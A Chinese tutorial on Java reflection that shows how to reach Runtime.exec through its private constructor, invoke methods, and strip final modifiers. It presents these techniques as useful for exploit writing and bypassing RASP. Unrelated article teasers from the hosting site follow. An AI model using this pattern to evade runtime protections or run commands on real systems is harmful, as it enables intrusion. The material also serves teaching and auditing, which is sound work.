反射调用Runtime实现本地命令执行的流程如下:
(Class.forName("java.lang.Runtime"))
(getDeclaredConstructor())
,因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))
(runtimeClass1.getMethod("exec", String.class);)
(runtimeMethod.invoke(runtimeInstance, cmd))
在Java的任何一个类都必须有一个或多个构造方法,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。
Runtime类构造方法示例代码片段:
public class Runtime {
/** Don't let anyone else instantiate this class */
private Runtime() {
}
}
从上面的Runtime类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();
的方式创建Runtime对象,但示例中借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor
都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下,应该在获取构造方法时候传入对应的参数类型数组,如:
clazz.getDeclaredConstructor(String.class, String.class)
如果想获取类的所有构造方法可以使用:
clazz.getDeclaredConstructors
来获取一个Constructor数组,获取到Constructor以后可以通过constructor.newInstance()
来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:
constructor.newInstance("admin", "123456")
当没有访问构造方法权限时应该调用
constructor.setAccessible(true)
修改访问权限就可以成功的创建出类实例了
Class对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。
获取当前类所有的成员方法:
Method[] methods = clazz.getDeclaredMethods()
获取当前类指定的成员方法:
Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
getMethod和getDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)
获取到java.lang.reflect.Method
对象以后我们可以通过Method的invoke方法来调用类方法。
调用类方法代码片段:
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用
method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型
Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。
获取当前类的所有成员变量:
Field fields = clazz.getDeclaredFields();
获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名");
getField和getDeclaredField的区别同getMethod和getDeclaredMethod。
获取成员变量值:
Object obj = field.get(类实例对象);
修改成员变量值:
field.set(类实例对象, 修改后的值);
同理,当没有修改的成员变量权限时可以使用:field.setAccessible(true)的方式修改为访问成员变量访问权限。
如果需要修改被final关键字修饰的成员变量,需要先修改方法
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");
// 设置modifiers修改权限
modifiers.setAccessible(true);
// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// 修改成员变量值
field.set(类实例对象, 修改后的值);
Java反射机制是Java动态性中最为重要的体现,没有方法可以获取当前类的超类的private的方法和属性,就必须通过getSupperclass()方法找到超类之后再去尝试获得
通常情况即使是当前类,private属性或方法是不能访问的,需要设置压制权限setAccessible(true)来取得private的访问权。但是需要注意,这已经破坏了java面向对象的封装性规则,所以要谨慎使,但利用反射机制可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVC、ORM框架等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用
Constructor getConstructor(Class[] params) 根据构造函数的参数,返回一个具体的具有public属性的构造函数
Constructor getConstructors() 返回所有具有public属性的构造函数数组
Constructor getDeclaredConstructor(Class[] params) 根据构造函数的参数,返回一个具体的构造函数(不分public和非public属性)
Constructor getDeclaredConstructors() 返回该类中所有的构造函数数组(不分public和非public属性)
Method getMethod(String name, Class[] params) 根据方法名和参数,返回一个具体的具有public属性的方法
Method[] getMethods() 返回所有具有public属性的方法数组
Method getDeclaredMethod(String name, Class[] params) 根据方法名和参数,返回一个具体的方法(不分public和非public属性)
Method[] getDeclaredMethods() 返回该类中的所有的方法数组(不分public和非public属性)
Field getField(String name) 根据变量名,返回一个具体的具有public属性的成员变量
Field[] getFields() 返回具有public属性的成员变量的数组
Field getDeclaredField(String name) 根据变量名,返回一个成员变量(不分public和非public属性)
Field[] getDelcaredField() 返回所有成员变量组成的数组(不分public和非public属性)
参考链接:
https://www.cnblogs.com/myRichard/p/11742194.html
https://blog.csdn.net/a745233700/article/details/82893076
https://www.jianshu.com/p/6277c1f9f48d
https://www.cnblogs.com/s1awwhy/p/13725493.html
https://www.cnblogs.com/BOHB-yunying/p/15523680.html
https://www.jianshu.com/p/ae3922db1f70
你以为你有很多路可以选择,其实你只有一条路可以走
文章浏览阅读3.1k次,点赞11次,收藏14次。CentOS7突然连接不了网络,使用systemctl status network后报如下错误network.service - LSB: Bring up/down networkingLoaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled)Active: failed (Result: exit-code)【解决方案】停止NetworkManager并取消开机启动chkconfig NetworkMan_network.service - lsb: bring up/down networking loaded: loaded (/etc/rc.d/in
文章浏览阅读4.9w次,点赞312次,收藏1.3k次。前言GitHub作为程序员们的开源宝库,有着很多非常好的项目。对于初学者来说,游戏有着一种特殊的魅力。今天统计了GitHub上比较有趣的10个开源小游戏,其中有许多可以称之为经典。笔者是一名90后,《贪吃蛇》、《坦克大战》、《超级马里奥》和《太空侵略者》作为儿时的玩伴,陪伴笔者度过了很多时光,给笔者带来了非常多的回忆。1、Pacman(吃豆人游戏)项目演示地址: https://passe..._github开源小游戏
文章浏览阅读210次。写在最前面,我总结出了很多互联网公司的面试题及答案,并整理成了文档,以及各种学习的进阶学习资料,免费分享给大家。扫码加微信好友进【程序员面试学习交流群】,免费领取。也欢迎各位一起在群里探讨技术。通过前面的介绍,我们知道在二叉树中,每个节点只有一个数据项,最多有两个子节点。如果允许每个节点可以有更多的数据项和更多的子节点,就是多叉树。本篇博客我们将介绍的——2-3-4树,它是一种多叉树,..._树查找 java 笔试题
文章浏览阅读3k次。FinGPT是一个开源的金融语言模型(LLMs),由FinNLP项目提供。这个项目让对金融领域的自然语言处理(NLP)感兴趣的人们有了一个可以自由尝试的平台,并提供了一个与专有模型相比更容易获取的金融数据。FinGPT使用RLHF方法进行个性化的金融语言建模,这与BloombergGPT的方法不同。它采用了一种轻量级的低秩适应技术,使得微调模型变得更简单和经济。FinGPT项目为金融领域的自然语言处理开创了新的可能,它的开源性质能推动这个领域的进步和创新。_fingpt
文章浏览阅读833次。java.util.concurrent.atomic原子操作类java原子操作类1.原子操作类2.AtomicInteger的基本方法2.1 创建一个不传值的,默认值为02.2 获取和赋值2.3 compareAndSet方法2.4 getAndAdd、AddAndGet、getAndDecrement和DecrementAndGet3.多线程测试4.AtomicReference详解5.CAS可能存在ABA的问题5.1 AtomicStampedReference原理5.2 AtomicMarkable_java.util.concurrent.atomic
文章浏览阅读51次。1.你认为大学的学习生活、同学关系、师生应该是怎样?请一个个展开描写。学习生活:自由但并不散漫大学的学习生活与以往的学习生活有很大的差别。大学的学习生活要自由得多,没有老师或是班干部紧跟在我身后提醒我,督促我。这有好处也有坏处,好处是我能有更多的时间安排我自己的学习方向,能有更多时间思考我的学习目的。坏处则是容易滋生懒惰的心理,大学的学习生活中,最为可怕的就是被懒惰击败。我们可以..._编程比赛对于学生在计算机科学专业中形成良好的氛围起着非常重要的作用。你知道,
文章浏览阅读141次。JPA分页当请求的数据总量很大时,这时候前端往往都会要求后端将数据分页返回。本文介绍SpringBoot下后端数据层使用JPA+MySQL时,如何分页返回数据(除了当前页面的数据,往往还要返回总页数这项数据)。一、从头到尾自己实现分页:Controller层:使用@RequestParam绑定page和pageSize参数,调用ServiceService层:接收page、pageSize参数,..._jpa mysql limit 分页
文章浏览阅读7.6k次。当月10号左右大量windows10系统发现打印照片时只能打印出头和尾,如下还有没开始打印,一选择打印机电脑就重启,是因为微软发布的新补丁不兼容,卸载最近更新的补丁即可(不同系统版本补丁编号是不一样的,看最近日期就行了)打开控制面板-卸载程序查看已安装的更新按时间排序双击卸载最新的补丁重启即可..._win10更新后打印图片中间空白
文章浏览阅读2.4k次。SaltUtil 类 private final String algorithmName = "SHA-256"; private final int hashIterations = 10000; private static RandomNumberGenerator randomNumberGenerator = new SecureRandomNumberGenerator(); //默认16位……//方法中调用// 生成salt model.se_sha256随机盐加密
文章浏览阅读763次。启动操作js ://--by wallvar startReq=BPMStartXml.XMLDocument;cordys.setNodeText(startReq,".//*[local-name()='BusinessID']",pursh_id.getValue());cordys.setNodeText(startReq,".//*[local-name()_cordys服务重启
文章浏览阅读93次。为什么80%的码农都做不了架构师?>>> ..._.net dll gac
文章浏览阅读4.7k次,点赞3次,收藏6次。点击工具,选择 选项。_visual studio怎么调整字体大小